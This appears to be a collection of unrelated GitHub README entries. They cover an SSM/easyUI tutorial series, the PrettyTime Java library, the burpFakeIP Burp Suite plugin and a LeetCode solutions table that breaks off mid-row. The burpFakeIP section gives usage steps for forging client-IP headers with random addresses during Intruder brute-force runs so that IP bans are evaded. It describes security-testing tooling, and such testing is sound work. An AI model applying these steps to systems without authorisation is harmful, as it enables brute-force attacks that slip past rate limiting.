[Spring+SpringMVC+MyBatis+easyUI整合基础篇（十一）SVN服务器进阶](http://www.cnblogs.com/han-1034683568/p/6551498.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合基础篇（十二）阶段总结](http://www.cnblogs.com/han-1034683568/p/6562092.html) **优化篇** * [x] [Spring+SpringMVC+MyBatis+easyUI整合优化篇（一）System.out.print与Log](http://www.cnblogs.com/han-1034683568/p/6637914.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合优化篇（二）Log4j讲解与整合](http://www.cnblogs.com/han-1034683568/p/6641808.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合优化篇（三）代码测试](http://www.cnblogs.com/han-1034683568/p/6642306.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合优化篇（四）单元测试实例](http://www.cnblogs.com/han-1034683568/p/6649077.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合优化篇（五）结合MockMvc进行服务端的单元测试](http://www.cnblogs.com/han-1034683568/p/6653620.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合优化篇（六）easyUI与富文本编辑器UEditor整合](http://www.cnblogs.com/han-1034683568/p/6664660.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合优化篇（七）图片上传功能](http://www.cnblogs.com/han-1034683568/p/6692150.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合优化篇（八）代码优化整理小记及个人吐槽](http://www.cnblogs.com/han-1034683568/p/6706158.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合优化篇（九）数据层优化-jdbc连接池简述、druid简介](http://www.cnblogs.com/han-1034683568/p/6719298.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合优化篇（十）数据层优化-整合druid](http://www.cnblogs.com/han-1034683568/p/6725191.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合优化篇（十一）数据层优化-druid监控及慢sql记录](http://www.cnblogs.com/han-1034683568/p/6730869.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合优化篇（十二）数据层优化-explain关键字及慢sql优化](http://www.cnblogs.com/han-1034683568/p/6758578.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合优化篇（十三）数据层优化-表规范、索引优化](http://www.cnblogs.com/han-1034683568/p/6768807.html) * [x] [Spring+SpringMVC+MyBatis+easyUI整合优化篇（十四）谈谈写博客的原因和项目优化](http://www.cnblogs.com/han-1034683568/p/6782019.html) ## Introduce ###### 功能简介 本项目实现了一个简单的后台管理系统，可以作为ssm项目学习的脚手架，主要包含以下功能： <br /> - 管理员的注册功能，登录功能，删除功能。 <br /> - 文章的增删改查功能，图片的增删改查功能。 <br /> - 图片上传功能。 <br /> - 多文本编辑器UEditor整合。 <br /> ###### Framework - Spring <br /> - SpringMVC <br /> - MyBatis <br /> - 后端界面则使用easyui进行搭建 <br /> ## Logs 2017-02-23 初始化，接下来是bug修复，下一步打算将项目改为maven工程项目。 <br /> 2017-02-24 新增ssm-login项目，最基础的ssm项目搭建。 <br /> 2017-03-02 新增ssm-maven项目，Spring+SpringMVC+MyBatis+Maven+easyUI整合。 <br /> 2017-03-07 中文搜索bug修复。<br /> 2017-03-14 网友提醒:书架管理-查看书籍,JS报错修复。<br/> 2017-03-29 Log模块。<br/> 2017-03-31 单元测试模块。<br/> 2017-04-10 新增文章管理，easyUI整合UEditor。<br/> 2017-04-11 新增图片上传功能，页面布局调整及部分bug修复。<br/> 2017-04-13 项目代码整理。<br/> 2017-04-17 整合druid，配置文件整理。<br/> 2017-04-18 开启druid各项监控功能。<br/> 2017-08-05 架构及目录结构整理，Wiki文档编辑。<br/>

ocpsoft/prettytime

Social Style Date and Time Formatting for Java

2010-12-13T15:25:42Z

prettytime ========== Social Style Date and Time Formatting for Java Learn more at https://www.ocpsoft.org/prettytime/ Java >=1.8 (Support JDK DateTime API) ======= PrettyTime requires Java/JDK >=1.8 as of version `5.0.0.Final` or higher. Java <=1.7 ======= Users requiring versions of Java/JDK less than or equal to 1.7 should use PrettyTime versions in the 4.x branch: `4.0.6.Final` or lower. Android ======= To use prettytime in android, first add the following dependency to your app level build.gradle implementation 'org.ocpsoft.prettytime:prettytime:5.0.4.Final' ProGuard rules are automatically configured for you if you use the R8 shrinker (which is the default since version 3.4.0 of the Android Gradle Plugin). If you are using an older version of AGP, add the ProGuard rules from [this file](core/src/main/resources/META-INF/proguard/prettytime.pro) Be sure to check maven central for the latest version: https://repo1.maven.org/maven2/org/ocpsoft/prettytime/prettytime/ **Note**: To use prettytime in projects with a `minSdkVersion` below 26, [API desugaring](https://developer.android.com/studio/write/java8-support#library-desugaring) is required. DEVELOPMENT =========== export RELEASE_VERSION="5.x.x.Final" export SNAPSHOT_VERSION="5.x.x-SNAPSHOT" force-release: mvn release:prepare release:perform -DskipTests=true -DdevelopmentVersion=$SNAPSHOT_VERSION -DreleaseVersion=$RELEASE_VERSION -Dtag=$RELEASE_VERSION -Darguments="-DskipTests=true -Dmaven.test.skip=true" CODE FORMAT DEFINITIONS/CONFIG ============================== Please use the following eclipse-style code formatter settings when submitting PRs: https://github.com/ocpsoft/common/blob/master/ocpsoft-eclipse-code-format.xml

TheKingOfDuck/burpFakeIP

服务端配置错误情况下用于伪造ip地址进行测试的Burp Suite插件

2019-06-05T07:24:35Z

## burpFakeIP 下载使用：[Releases](https://github.com/TheKingOfDuck/burpFakeIP/releases/tag/1.0) **2021/09/24** 1. 修复[M00nBack](https://github.com/M00nBack)反馈的一个bug。 2. 添加了AutoXFF的开关,并将AutoXFF默认设置不开启,如需让插件给每个请求头添加一个随机的XFF请求头可在右键菜单中选择ON开启 **2021/05/21** 使用Java重构，增加了[issue](https://github.com/TheKingOfDuck/burpFakeIP/issues/8)中提到的功能特性，新增给每个请求自动添加XFF头以及随机IP的功能，具体可见右键菜单AutoXFF,默认情况下自动添加的xff头为X-Forwarded-For,值为生成的随机IP,均可自定义。 **2020/04/25** 优化代码，新增9种请求头。  四个小功能 * 伪造指定ip * 伪造本地ip * 伪造随机ip * 随机ip爆破 ### 0x01 伪造指定ip 在`Repeater`模块右键选择`fakeIp`菜单,然后点击`inputIP`功能,然后输入指定的ip：   程序会自动添加所有可伪造得字段到请求头中。 ### 0x02 伪造本地ip 在`Repeater`模块右键选择`fakeIp`菜单,然后点击`127.0.0.1`功能：  ### 0x03 伪造随机ip 在`Repeater`模块右键选择`fakeIp`菜单,然后点击`randomIP`功能：  ### 0x04 随机ip爆破 **伪造随机ip爆破是本插件最核心的功能。** 将数据包发送到`Intruder`模块,在`Positions`中切换`Attack type`为`Pitchfork`模式,选择好有效的伪造字段,以及需要爆破的字段:  按照箭头顺序将Payload来源设置为`Extensin-generated`,并设置负载伪`fakeIpPayloads`,然后设置第二个变量。   点击`Start attack`开始爆破.  如上图,实现每次爆破都使用不同的伪ip进行,避免被ban。 > PS：伪造随机ip爆破的先决条件可以伪造ip绕过服务器限制。

fishercoder1534/Leetcode

Solutions to LeetCode problems; updated daily. Subscribe to my YouTube channel for more.

2016-07-31T05:28:15Z

# [LeetCode](https://leetcode.com/problemset/algorithms/) [](LICENSE.md) [](https://github.com/fishercoder1534/Leetcode/actions/workflows/gradle.yml)  _If you like this project, please leave me a star._ &#9733; > ["For coding interview preparation, LeetCode is one of the best online resource providing a rich library of more than 300 real coding interview questions for you to practice from using one of the 7 supported languages - C, C++, Java, Python, C#, JavaScript, Ruby."](https://www.quora.com/How-effective-is-Leetcode-for-preparing-for-technical-interviews) ## Algorithms | # | Title | Solutions | Video | Difficulty | Tag |------|----------------|------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------|----------------------------------|---------------------------------------------------------------------- | 3131 |[Find the Integer Added to Array I](https://leetcode.com/problems/find-the-integer-added-to-array-i/)| [Java](../master/src/main/java/com/fishercoder/solutions/_3131.java) | | Easy | | 3127 |[Make a Square with the Same Color](https://leetcode.com/problems/make-a-square-with-the-same-color/)| [Java](../master/src/main/java/com/fishercoder/solutions/_3127.java) | | Easy | | 3120 |[Count the Number of Special Characters I](https://leetcode.com/problems/count-the-number-of-special-characters-i/)| [Java](../master/src/main/java/com/fishercoder/solutions/_3120.java) | | Easy | | 3046 |[Split the Array](https://leetcode.com/problems/split-the-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_3046.java) | | Easy | | 3042 |[Count Prefix and Suffix Pairs I](https://leetcode.com/problems/count-prefix-and-suffix-pairs-i/)| [Java](../master/src/main/java/com/fishercoder/solutions/_3042.java) | | Easy | | 3038 |[Maximum Number of Operations With the Same Score I](https://leetcode.com/problems/maximum-number-of-operations-with-the-same-score-i/)| [Java](../master/src/main/java/com/fishercoder/solutions/_3038.java) | | Easy | | 3033 |[Modify the Matrix](https://leetcode.com/problems/modify-the-matrix/)| [Java](../master/src/main/java/com/fishercoder/solutions/_3033.java) | | Easy | | 3006 |[Find Beautiful Indices in the Given Array I](https://leetcode.com/problems/find-beautiful-indices-in-the-given-array-i/)| [Java](../master/src/main/java/com/fishercoder/solutions/_3006.java) | | Medium | | 3005 |[Count Elements With Maximum Frequency](https://leetcode.com/problems/count-elements-with-maximum-frequency/)| [Java](../master/src/main/java/com/fishercoder/solutions/_3005.java) | | Easy | | 2716 |[Minimize String Length](https://leetcode.com/problems/minimize-string-length/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2716.java) | [:tv:](https://youtu.be/aMJ3T0K8LjI) | Easy | | 2710 |[Remove Trailing Zeros From a String](https://leetcode.com/problems/remove-trailing-zeros-from-a-string/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2710.java) | | Easy | | 2706 |[Buy Two Chocolates](https://leetcode.com/problems/buy-two-chocolates/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2706.java) | | Easy | | 2696 |[Minimum String Length After Removing Substrings](https://leetcode.com/problems/minimum-string-length-after-removing-substrings/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2696.java) | | Easy | | 2670 |[Find the Distinct Difference Array](https://leetcode.com/problems/find-the-distinct-difference-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2670.java) | | Easy | | 2596 |[Check Knight Tour Configuration](https://leetcode.com/problems/check-knight-tour-configuration/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2596.java) | [:tv:](https://youtu.be/OBht8NT_09c) | Medium | | 2595 |[Number of Even and Odd Bits](https://leetcode.com/problems/number-of-even-and-odd-bits/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2595.java) | | Easy | | 2586 |[Count the Number of Vowel Strings in Range](https://leetcode.com/problems/count-the-number-of-vowel-strings-in-range/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2586.java) | | Easy | | 2583 |[Kth Largest Sum in a Binary Tree](https://leetcode.com/problems/kth-largest-sum-in-a-binary-tree/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2583.java) | | Medium | | 2582 |[Pass the Pillow](https://leetcode.com/problems/pass-the-pillow/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2582.java) | | Easy | | 2566 |[Maximum Difference by Remapping a Digit](https://leetcode.com/problems/maximum-difference-by-remapping-a-digit/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2566.java) | | Easy | | 2562 |[Find the Array Concatenation Value](https://leetcode.com/problems/find-the-array-concatenation-value/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2562.java) | | Easy | | 2559 |[Count Vowel Strings in Ranges](https://leetcode.com/problems/count-vowel-strings-in-ranges/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2559.java) | | Medium | | 2558 |[Take Gifts From the Richest Pile](https://leetcode.com/problems/take-gifts-from-the-richest-pile/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2558.java) | | Easy | | 2554 |[Maximum Number of Integers to Choose From a Range I](https://leetcode.com/problems/maximum-number-of-integers-to-choose-from-a-range-i/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2554.java) | | Medium | | 2553 |[Separate the Digits in an Array](https://leetcode.com/problems/separate-the-digits-in-an-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2553.java) | | Easy | | 2549 |[Count Distinct Numbers on Board](https://leetcode.com/problems/count-distinct-numbers-on-board/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2549.java) || Easy | | 2544 |[Alternating Digit Sum](https://leetcode.com/problems/alternating-digit-sum/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2544.java) | [:tv:](https://youtu.be/IFRYDmhEWGw) | Easy | | 2540 |[Minimum Common Value](https://leetcode.com/problems/minimum-common-value/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2540.java) || Easy | | 2536 |[Increment Submatrices by One](https://leetcode.com/problems/increment-submatrices-by-one/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2536.java) || Medium | | 2535 |[Difference Between Element Sum and Digit Sum of an Array](https://leetcode.com/problems/difference-between-element-sum-and-digit-sum-of-an-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2535.java) || Easy | | 2530 |[Maximal Score After Applying K Operations](https://leetcode.com/problems/maximal-score-after-applying-k-operations/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2530.java) | [:tv:](https://youtu.be/nsOipmYbRlc) | Medium | | 2529 |[Maximum Count of Positive Integer and Negative Integer](https://leetcode.com/problems/maximum-count-of-positive-integer-and-negative-integer/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2529.java) | [:tv:](https://youtu.be/4uhvXmOp5Do) | Easy || | 2525 |[Categorize Box According to Criteria](https://leetcode.com/problems/categorize-box-according-to-criteria/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2525.java) | [:tv:](https://youtu.be/dIciftyQXHo) | Easy || | 2520 |[Count the Digits That Divide a Number](https://leetcode.com/problems/count-the-digits-that-divide-a-number/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2520.java) | [:tv:](https://youtu.be/7SHHsS5kPJ8) | Easy || | 2515 |[Shortest Distance to Target String in a Circular Array](https://leetcode.com/problems/shortest-distance-to-target-string-in-a-circular-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2515.java) || Easy || | 2496 |[Maximum Value of a String in an Array](https://leetcode.com/problems/maximum-value-of-a-string-in-an-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2496.java) || Easy || | 2467 |[Convert the Temperature](https://leetcode.com/problems/convert-the-temperature/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2469.java) || Easy || | 2455 |[Average Value of Even Numbers That Are Divisible by Three](https://leetcode.com/problems/average-value-of-even-numbers-that-are-divisible-by-three/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2455.java) || Easy || | 2433 |[Find The Original Array of Prefix Xor](https://leetcode.com/problems/find-the-original-array-of-prefix-xor/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2433.java) | [:tv:](https://youtu.be/idcT-p_DDrI) | Medium || | 2432 |[The Employee That Worked on the Longest Task](https://leetcode.com/problems/the-employee-that-worked-on-the-longest-task/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2432.java) || Easy || | 2427 |[Number of Common Factors](https://leetcode.com/problems/number-of-common-factors/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2427.java) || Easy || | 2404 |[Most Frequent Even Element](https://leetcode.com/problems/most-frequent-even-element/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2404.java) || Easy || | 2399 |[Check Distances Between Same Letters](https://leetcode.com/problems/check-distances-between-same-letters/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2399.java) || Medium || | 2395 |[Find Subarrays With Equal Sum](https://leetcode.com/problems/find-subarrays-with-equal-sum/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2395.java) || Easy || | 2380 |[Time Needed to Rearrange a Binary String](https://leetcode.com/problems/time-needed-to-rearrange-a-binary-string/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2380.java) || Medium || | 2379 |[Minimum Recolors to Get K Consecutive Black Blocks](https://leetcode.com/problems/minimum-recolors-to-get-k-consecutive-black-blocks/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2379.java) || Easy || | 2367 |[Number of Arithmetic Triplets](https://leetcode.com/problems/number-of-arithmetic-triplets/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2367.java) || Easy || | 2363 |[Merge Similar Items](https://leetcode.com/problems/merge-similar-items/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2363.java) || Easy || | 2357 |[Make Array Zero by Subtracting Equal Amounts](https://leetcode.com/problems/make-array-zero-by-subtracting-equal-amounts/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2357.java) || Easy || | 2352 |[Equal Row and Column Pairs](https://leetcode.com/problems/equal-row-and-column-pairs/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2352.java) || Medium || | 2351 |[First Letter to Appear Twice](https://leetcode.com/problems/first-letter-to-appear-twice/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2351.java) || Easy || | 2347 |[Maximum Number of Pairs in Array](https://leetcode.com/problems/best-poker-hand/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2347.java) || Easy || | 2341 |[Maximum Number of Pairs in Array](https://leetcode.com/problems/maximum-number-of-pairs-in-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2341.java) || Easy || | 2335 |[Minimum Amount of Time to Fill Cups](https://leetcode.com/problems/minimum-amount-of-time-to-fill-cups/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2335.java) || Easy || | 2331 |[Evaluate Boolean Binary Tree](https://leetcode.com/problems/evaluate-boolean-binary-tree/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2331.java) || Easy || | 2326 |[Spiral Matrix IV](https://leetcode.com/problems/spiral-matrix-iv/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2326.java) || Medium || | 2325 |[Decode the Message](https://leetcode.com/problems/decode-the-message/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2325.java) || Easy || | 2319 |[Check if Matrix Is X-Matrix](https://leetcode.com/problems/check-if-matrix-is-x-matrix/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2319.java) || Easy || | 2315 |[Count Asterisks](https://leetcode.com/problems/count-asterisks/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2315.java) || Easy || | 2309 |[Greatest English Letter in Upper and Lower Case](https://leetcode.com/problems/greatest-english-letter-in-upper-and-lower-case/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2309.java) || Easy || | 2303 |[Calculate Amount Paid in Taxes](https://leetcode.com/problems/calculate-amount-paid-in-taxes/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2303.java) || Easy || | 2299 |[Strong Password Checker II](https://leetcode.com/problems/strong-password-checker-ii/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2299.java) || Easy || | 2293 |[Min Max Game](https://leetcode.com/problems/min-max-game/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2293.java) || Easy || | 2288 |[Apply Discount to Prices](https://leetcode.com/problems/apply-discount-to-prices/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2288.java) || Medium || | 2287 |[Rearrange Characters to Make Target String](https://leetcode.com/problems/rearrange-characters-to-make-target-string/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2288.java) || Easy || | 2284 |[Sender With Largest Word Count](https://leetcode.com/problems/sender-with-largest-word-count/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2284.java) || Medium || | 2283 |[Check if Number Has Equal Digit Count and Digit Value](https://leetcode.com/problems/check-if-number-has-equal-digit-count-and-digit-value/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2283.java) || Easy || | 2279 |[Maximum Bags With Full Capacity of Rocks](https://leetcode.com/problems/maximum-bags-with-full-capacity-of-rocks/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2279.java) || Medium || | 2278 |[Percentage of Letter in String](https://leetcode.com/problems/percentage-of-letter-in-string/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2278.java) || Easy || | 2273 |[Find Resultant Array After Removing Anagrams](https://leetcode.com/problems/find-resultant-array-after-removing-anagrams/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2273.java) || Easy || | 2270 |[Number of Ways to Split Array](https://leetcode.com/problems/number-of-ways-to-split-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2270.java) || Medium || | 2269 |[Find the K-Beauty of a Number](https://leetcode.com/problems/find-the-k-beauty-of-a-number/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2269.java) || Easy || | 2264 |[Largest 3-Same-Digit Number in String](https://leetcode.com/problems/largest-3-same-digit-number-in-string/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2264.java) || Easy || | 2260 |[Minimum Consecutive Cards to Pick Up](https://leetcode.com/problems/minimum-consecutive-cards-to-pick-up/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2260.java) || Medium || | 2259 |[Remove Digit From Number to Maximize Result](https://leetcode.com/problems/remove-digit-from-number-to-maximize-result/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2259.java) || Easy || | 2256 |[Minimum Average Difference](https://leetcode.com/problems/minimum-average-difference/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2256.java) || Medium || | 2255 |[Count Prefixes of a Given String](https://leetcode.com/problems/count-prefixes-of-a-given-string/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2255.java) || Easy || | 2248 |[Intersection of Multiple Arrays](https://leetcode.com/problems/intersection-of-multiple-arrays/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2248.java) || Easy || | 2244 |[Minimum Rounds to Complete All Tasks](https://leetcode.com/problems/minimum-rounds-to-complete-all-tasks/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2244.java) || Medium || | 2243 |[Calculate Digit Sum of a String](https://leetcode.com/problems/calculate-digit-sum-of-a-string/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2243.java) || Easy || | 2239 |[Find Closest Number to Zero](https://leetcode.com/problems/find-closest-number-to-zero/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2239.java) || Easy || | 2236 |[Root Equals Sum of Children](https://leetcode.com/problems/root-equals-sum-of-children/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2236.java) || Easy || | 2235 |[Add Two Integers](https://leetcode.com/problems/add-two-integers/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2235.java) | [:tv:](https://youtu.be/Qubhoqoks6I) | Easy || | 2231 |[Largest Number After Digit Swaps by Parity](https://leetcode.com/problems/largest-number-after-digit-swaps-by-parity/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2231.java) || Easy || | 2229 |[Check if an Array Is Consecutive](https://leetcode.com/problems/check-if-an-array-is-consecutive/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2229.java) || Easy || | 2224 |[Minimum Number of Operations to Convert Time](https://leetcode.com/problems/minimum-number-of-operations-to-convert-time/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2224.java) || Easy || | 2220 |[Minimum Bit Flips to Convert Number](https://leetcode.com/problems/minimum-bit-flips-to-convert-number/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2220.java) || Easy || | 2215 |[Find the Difference of Two Arrays](https://leetcode.com/problems/find-the-difference-of-two-arrays/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2215.java) || Easy || | 2210 |[Count Hills and Valleys in an Array](https://leetcode.com/problems/count-hills-and-valleys-in-an-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2210.java) || Easy || | 2208 |[Minimum Operations to Halve Array Sum](https://leetcode.com/problems/minimum-operations-to-halve-array-sum/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2208.java) || Medium || | 2206 |[Divide Array Into Equal Pairs](https://leetcode.com/problems/divide-array-into-equal-pairs/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2206.java) || Easy || | 2201 |[Count Artifacts That Can Be Extracted](https://leetcode.com/problems/count-artifacts-that-can-be-extracted/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2201.java) || Medium || | 2200 |[Find All K-Distant Indices in an Array](https://leetcode.com/problems/find-all-k-distant-indices-in-an-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2200.java) || Easy || | 2194 |[Cells in a Range on an Excel Sheet](https://leetcode.com/problems/cells-in-a-range-on-an-excel-sheet/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2194.java) || Easy || | 2190 |[Most Frequent Number Following Key In an Array](https://leetcode.com/problems/most-frequent-number-following-key-in-an-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2190.java) || Easy || | 2186 |[Minimum Number of Steps to Make Two Strings Anagram II](https://leetcode.com/problems/minimum-number-of-steps-to-make-two-strings-anagram-ii/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2186.java) || Medium || | 2185 |[Counting Words With a Given Prefix](https://leetcode.com/problems/counting-words-with-a-given-prefix/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2185.java) || Easy || | 2182 |[Construct String With Repeat Limit](https://leetcode.com/problems/construct-string-with-repeat-limit/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2182.java) || Medium || | 2181 |[Merge Nodes in Between Zeros](https://leetcode.com/problems/merge-nodes-in-between-zeros/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2181.java) || Medium || | 2180 |[Count Integers With Even Digit Sum](https://leetcode.com/problems/count-integers-with-even-digit-sum/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2180.java) || Easy || | 2177 |[Find Three Consecutive Integers That Sum to a Given Number](https://leetcode.com/problems/find-three-consecutive-integers-that-sum-to-a-given-number/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2177.java) || Medium || | 2176 |[Count Equal and Divisible Pairs in an Array](https://leetcode.com/problems/count-equal-and-divisible-pairs-in-an-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2176.java) || Easy || | 2169 |[Count Operations to Obtain Zero](https://leetcode.com/problems/count-operations-to-obtain-zero/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2169.java) || Easy || | 2166 |[Design Bitset](https://leetcode.com/problems/design-bitset/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2166.java) || Medium || | 2165 |[Smallest Value of the Rearranged Number](https://leetcode.com/problems/smallest-value-of-the-rearranged-number/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2165.java) || Medium || | 2164 |[Sort Even and Odd Indices Independently](https://leetcode.com/problems/sort-even-and-odd-indices-independently/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2164.java) || Easy || | 2161 |[Partition Array According to Given Pivot](https://leetcode.com/problems/partition-array-according-to-given-pivot/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2161.java) || Medium || | 2160 |[Minimum Sum of Four Digit Number After Splitting Digits](https://leetcode.com/problems/minimum-sum-of-four-digit-number-after-splitting-digits/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2160.java) || Easy || | 2156 |[Find Substring With Given Hash Value](https://leetcode.com/problems/find-substring-with-given-hash-value/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2156.java) || Medium || | 2155 |[All Divisions With the Highest Score of a Binary Array](https://leetcode.com/problems/all-divisions-with-the-highest-score-of-a-binary-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2155.java) || Medium || | 2154 |[Keep Multiplying Found Values by Two](https://leetcode.com/problems/keep-multiplying-found-values-by-two/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2154.java) || Easy || | 2150 |[Find All Lonely Numbers in the Array](https://leetcode.com/problems/find-all-lonely-numbers-in-the-array/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2150.java) || Medium || | 2149 |[Rearrange Array Elements by Sign](https://leetcode.com/problems/rearrange-array-elements-by-sign/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2149.java) || Medium || | 2148 |[Count Elements With Strictly Smaller and Greater Elements](https://leetcode.com/problems/count-elements-with-strictly-smaller-and-greater-elements/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2148.java) || Easy || | 2144 |[Minimum Cost of Buying Candies With Discount](https://leetcode.com/problems/minimum-cost-of-buying-candies-with-discount/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2144.java) || Easy || | 2139 |[Minimum Moves to Reach Target Score](https://leetcode.com/problems/minimum-moves-to-reach-target-score/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2139.java) || Medium || | 2138 |[Divide a String Into Groups of Size k](https://leetcode.com/problems/divide-a-string-into-groups-of-size-k/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2138.java) || Easy || | 2134 |[Minimum Swaps to Group All 1's Together II](https://leetcode.com/problems/minimum-swaps-to-group-all-1s-together-ii/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2134.java) || Medium || | 2133 |[Check if Every Row and Column Contains All Numbers](https://leetcode.com/problems/check-if-every-row-and-column-contains-all-numbers/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2133.java) || Easy || | 2130 |[Maximum Twin Sum of a Linked List](https://leetcode.com/problems/maximum-twin-sum-of-a-linked-list/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2130.java) || Medium || | 2129 |[Capitalize the Title](https://leetcode.com/problems/capitalize-the-title/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2129.java) || Easy || | 2126 |[Destroying Asteroids](https://leetcode.com/problems/destroying-asteroids/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2126.java) || Medium || | 2125 |[Number of Laser Beams in a Bank](https://leetcode.com/problems/number-of-laser-beams-in-a-bank/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2125.java) || Medium || | 2124 |[Check if All A's Appears Before All B's](https://leetcode.com/problems/check-if-all-as-appears-before-all-bs/)| [Java](../master/src/main/java/com/fishercoder/solutions/_2124.java) || Easy || | 2120 |[Execution of All Suffix Instructions Staying in a 